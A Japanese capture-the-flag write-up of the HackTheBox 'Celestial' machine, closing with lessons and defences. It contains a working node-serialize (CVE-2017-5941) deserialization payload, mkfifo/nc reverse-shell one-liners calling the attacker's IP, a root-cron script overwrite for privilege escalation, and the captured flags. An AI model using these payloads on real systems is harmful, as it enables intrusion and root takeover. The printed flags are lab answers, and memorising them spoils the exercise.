HackTheBox: Celestial — 全実行コマンド・実行結果レポート
Nmap スキャン
3000 (Node.js Express)
→
3000 (Node.js Express)
“profile” Cookie発見
base64 JSON
→
base64 JSON
CVE-2017-5941
node-serialize デシリアライズRCE
→
node-serialize デシリアライズRCE
mkfifo リバースシェル
ブラインドRCEを nc で回収
→
ブラインドRCEを nc で回収
sun シェル取得
user.txt ✓
→
user.txt ✓
script.py書込権限発見
rootの個人crontabが5分毎に実行
→
rootの個人crontabが5分毎に実行
script.py上書き
root cron発火待ち(最大5分)
→
root cron発火待ち(最大5分)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.228.94
RESULT
PORT STATE SERVICE
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
ℹ️
開いているポートは3000のみ。他の一般的なサービス(SSHすら)が存在しない、
非常にシンプルな攻撃対象面を持つマシン。
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 3000 10.129.228.94
RESULT
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
ℹ️
ポート3000でNode.js Expressアプリケーションが稼働していることが判明。
Node.jsアプリではシリアライズ/デシリアライズ関連の脆弱性(node-serializeなど)が
定番の攻撃経路になる。
PHASE 2
“profile” Cookieの調査
初回アクセスでprofile Cookieがセットされる
BASH
curl -s -i http://10.129.228.94:3000/
RESULT
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 12
<h1>404</h1>
ℹ️
初回訪問時は404だが、レスポンスヘッダーに
profile という名前の
Cookieがセットされる。このCookie値をデコードすると内部データ構造が見える。
Cookie値をデコードして中身を確認
BASH
echo "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==" | base64 -d
RESULT
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
🚨
Cookie値はbase64エンコードされたJSONオブジェクト。この形式は、Node.jsアプリで
よく使われる
node-serialize ライブラリの典型的な使い方であり、
CVE-2017-5941 デシリアライズ脆弱性の兆候である。
JSON全体がデシリアライズされる実装であれば、任意のキー名を使ってペイロードを
注入できるはずだと推測できる。
PHASE 3
CVE-2017-5941 (node-serialize) デシリアライズRCE
脆弱性の原理
NOTE
node-serializeライブラリのunserialize()は、JSON文字列中に "_$$ND_FUNC$$_" というマーカーで始まる値を見つけると、それを JavaScriptの関数リテラルとしてeval()してしまう実装不備を持つ (CVE-2017-5941)。これを悪用し、即時実行関数(IIFE)の中で child_process.exec()を呼び出すことで、任意のシェルコマンドを 実行できる。 ただしexec()の実行結果はHTTPレスポンスへ直接返らない (ブラインドRCE)ため、コマンド実行の確認や出力取得には リバースシェル等の別チャネルが必要になる。
悪意のあるJSONペイロードを作成しbase64エンコード
PYTHON
import base64
cmd = 'id'
json_str = (
'{"evil":"_$$ND_FUNC$$_function (){require(\'child_process\')'
f".exec('{cmd}'); }}()\"}}"
)
print(json_str)
print(base64.b64encode(json_str.encode()).decode())
RESULT
{"evil":"_$$ND_FUNC$$_function (){require('child_process').exec('id'); }()"}
eyJldmlsIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdpZCcpOyB9KCkifQ==
ℹ️
任意のキー名(ここでは
evil)で構わない — JSONオブジェクト全体が
デシリアライズされる実装のため、既知のキー(username/country等)である
必要はない。
PHASE 4
mkfifoリバースシェル → user.txt
FIFOベースの永続シェル制御を準備
BASH (Kali側)
mkfifo /tmp/celestial_fifo nohup bash -c 'exec 9<>/tmp/celestial_fifo; while :; do sleep 3600; done' \ > /tmp/celestial_fifo_keeper.log 2>&1 & nohup nc -lnvp 14711 < /tmp/celestial_fifo > /tmp/celestial_shell.log 2>&1 &
ℹ️
単純に
nc -lnvp <port> だけを起動すると標準入力へコマンドを
送り込む手段がない。FIFOを1つ作り、書き込み側を開いたまま保持する
keeperプロセスを走らせておくことで、後から printf 'cmd\n' > fifo
で任意のタイミングでコマンドを送信できる永続的な対話シェルとして扱える。
リバースシェルペイロードを送信
PYTHON (ペイロード生成)
cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.200 14711 >/tmp/f'
json_str = (
'{"evil":"_$$ND_FUNC$$_function (){require(\'child_process\')'
f".exec('{cmd}'); }}()\"}}"
)
# → base64エンコードしてCookieとして送信
BASH
curl -s --max-time 10 "http://10.129.228.94:3000/" \ -H "Cookie: profile=<base64ペイロード>"
RESULT (nc リスナー側)
listening on [any] 14711 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.228.94] 39358
sh: 0: can't access tty; job control turned off
$
✅
RCE成功! ブラインドRCEだが、mkfifoリバースシェルによって
対話的なシェルアクセスへ転換できた。
⚠️
FIFO経由でコマンドを送る際、
\r\n(CRLF)を使うと
$'\r'がコマンド末尾の引数へ紛れ込みファイル名解決に失敗する
(cat: '/path/to/file'$'\r': No such file or directory)。
この接続先のシェルはCR文字を特別扱いしないため、bare
\nのみで送ること。
身元確認 & user.txt取得
BASH
printf 'id\n' > /tmp/celestial_fifo printf 'cat /home/sun/Documents/user.txt\n' > /tmp/celestial_fifo
RESULT
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) db9f75ee08f210f32f5630083adc0b71
user.txt — sun
db9f75ee08f210f32f5630083adc0b71
ℹ️
/home/sun/Documents/user.txtは実際には
/home/sun/user.txtへのシンボリックリンク。catは
シンボリックリンクを自動的にたどるため問題なく読み取れる。
PHASE 5
権限昇格の下調べ — script.pyの発見
Documentsディレクトリの調査
BASH
printf 'ls -la /home/sun/Documents/\n' > /tmp/celestial_fifo printf 'cat /home/sun/Documents/script.py\n' > /tmp/celestial_fifo
RESULT
total 12 drwxr-xr-x 2 sun sun 4096 Sep 15 2022 . drwxr-xr-x 21 sun sun 4096 Oct 11 2022 .. -rw-rw-r-- 1 sun sun 29 Sep 13 08:42 script.py lrwxrwxrwx 1 root root 18 Sep 15 2022 user.txt -> /home/sun/user.txt print "Script is running..."
🚨
決定的な発見:
script.py は sun:sun
所有かつグループ書き込み可能(rw-rw-r--)。ファイルの直近の
更新時刻(数分前)から、何らかのスケジュールタスクが定期的にこの
ファイルを実行していることが推測できる。中身は
print "Script is running..."というpython2構文の1行のみ。
ℹ️
sunユーザーのcrontab -lにはこのスクリプトを
実行するジョブは存在しない。これはroot専用の個人crontab
(/var/spool/crontabs/root、rootのみアクセス可能)に
script.pyを5分毎に実行するジョブが登録されているためで、
sunユーザーからはそのcrontabの中身を直接確認する手段がない。
ファイルの所有権・書き込み権限・更新頻度という間接的な証拠
だけから読み取る必要がある。
PHASE 6
script.py上書き → root cron発火 → root.txt
root用の第2リスナーを準備
BASH (Kali側)
mkfifo /tmp/celestial_root_fifo nohup bash -c 'exec 9<>/tmp/celestial_root_fifo; while :; do sleep 3600; done' \ > /tmp/celestial_root_fifo_keeper.log 2>&1 & nohup nc -lnvp 14712 < /tmp/celestial_root_fifo > /tmp/celestial_root_shell.log 2>&1 &
script.pyをリバースシェルペイロードで上書き
BASH (sunシェル経由)
printf "echo 'import os' > /home/sun/Documents/script.py\n" > /tmp/celestial_fifo printf "echo 'os.system(\"rm /tmp/fr;mkfifo /tmp/fr;cat /tmp/fr|sh -i 2>&1|nc 10.10.15.200 14712 >/tmp/fr\")' \ >> /home/sun/Documents/script.py\n" > /tmp/celestial_fifo printf 'cat /home/sun/Documents/script.py\n' > /tmp/celestial_fifo
RESULT
import os
os.system("rm /tmp/fr;mkfifo /tmp/fr;cat /tmp/fr|sh -i 2>&1|nc 10.10.15.200 14712 >/tmp/fr")
ℹ️
上書き後の内容は
os.system()を使う素朴な1行のリバースシェル起動。
python2/python3どちらの構文でも動作するコードにしてあるため、rootの個人crontab
がどちらのインタプリタでscript.pyを実行していても問題なく動く。
root cronの発火を待機(最大5分) & root.txt取得
RESULT (nc :14712 リスナー側、数分後)
listening on [any] 14712 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.228.94] 39310
sh: 0: can't access tty; job control turned off
#
✅
root cronが発火しリバースシェルへ接続してきた! プロンプトが
#になっていることからroot権限のシェルであることが確認できる。
BASH
printf 'cat /root/root.txt\n' > /tmp/celestial_root_fifo
RESULT
5578e3bd65fcd1228cae9e0fe20aafe3
root.txt — root@celestial
5578e3bd65fcd1228cae9e0fe20aafe3
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — sun
db9f75ee08f210f32f5630083adc0b71
root.txt — root@celestial
5578e3bd65fcd1228cae9e0fe20aafe3
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2017-5941 | node-serialize (Node.js Express app, port 3000) | リモートコード実行 (sun、ブラインドRCE) | Critical | “profile” Cookieの中身であるJSONオブジェクトに”_$$ND_FUNC$$_”マーカー付き 関数リテラルを注入、デシリアライズ時にeval()されchild_process.exec()を実行 |
| rootの個人crontab用スクリプトが一般ユーザー書込可能 | /home/sun/Documents/script.py | 権限昇格 (sun → root) | Critical | sun:sun所有・グループ書込可のscript.pyを、root専用個人crontabが5分毎に root権限で実行する設計を悪用しリバースシェルペイロードへ差し替え |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート + バージョンスキャン | ポート3000のみ、Node.js Express |
| 2 | Cookie調査 | curl -i + base64デコード | “profile” CookieがJSONをシリアライズしている構造を発見 |
| 3 | RCEペイロード生成 | CVE-2017-5941 JSONペイロード構築 | node-serializeデシリアライズRCEの成立を確認 |
| 4 | リバースシェル | mkfifoペイロード + FIFOベース永続nc制御 | user.txt取得 (sunシェル) |
| 5 | 権限調査 | Documentsディレクトリ調査 | root個人crontabが実行するscript.pyの書込権限を発見 |
| 6 | 権限昇格 | script.py上書き + cron発火待機 | root.txt取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| node-serializeのように「信頼できない入力を関数として評価する」設計の シリアライズライブラリを使用 | ユーザー制御可能な値をevalベースのデシリアライザに渡さない。 JSON.parse等の純粋なデータのみを扱うパーサーを使用し、コード実行能力を 持たせない。 |
| root権限で定期実行されるスクリプトファイルが、非rootユーザーの 書き込み可能な場所・権限で配置されている | root権限で実行するスクリプトはroot所有・root専用書き込み権限 (例: 644、root:root)に設定する。cron等で実行するファイルへの 書き込み権限は最小権限の原則を徹底する。 |
| root専用の個人crontabに書かれた定期実行ジョブが、一般ユーザーからは 直接見えないため気づかれにくい(セキュリティ・バイ・オブスキュリティ) | 定期的なファイル権限監査(誰が何を書き込めるか)を実施し、 crontabの中身が見えないことに頼らず実際のファイルパーミッションで 安全性を担保する。 |

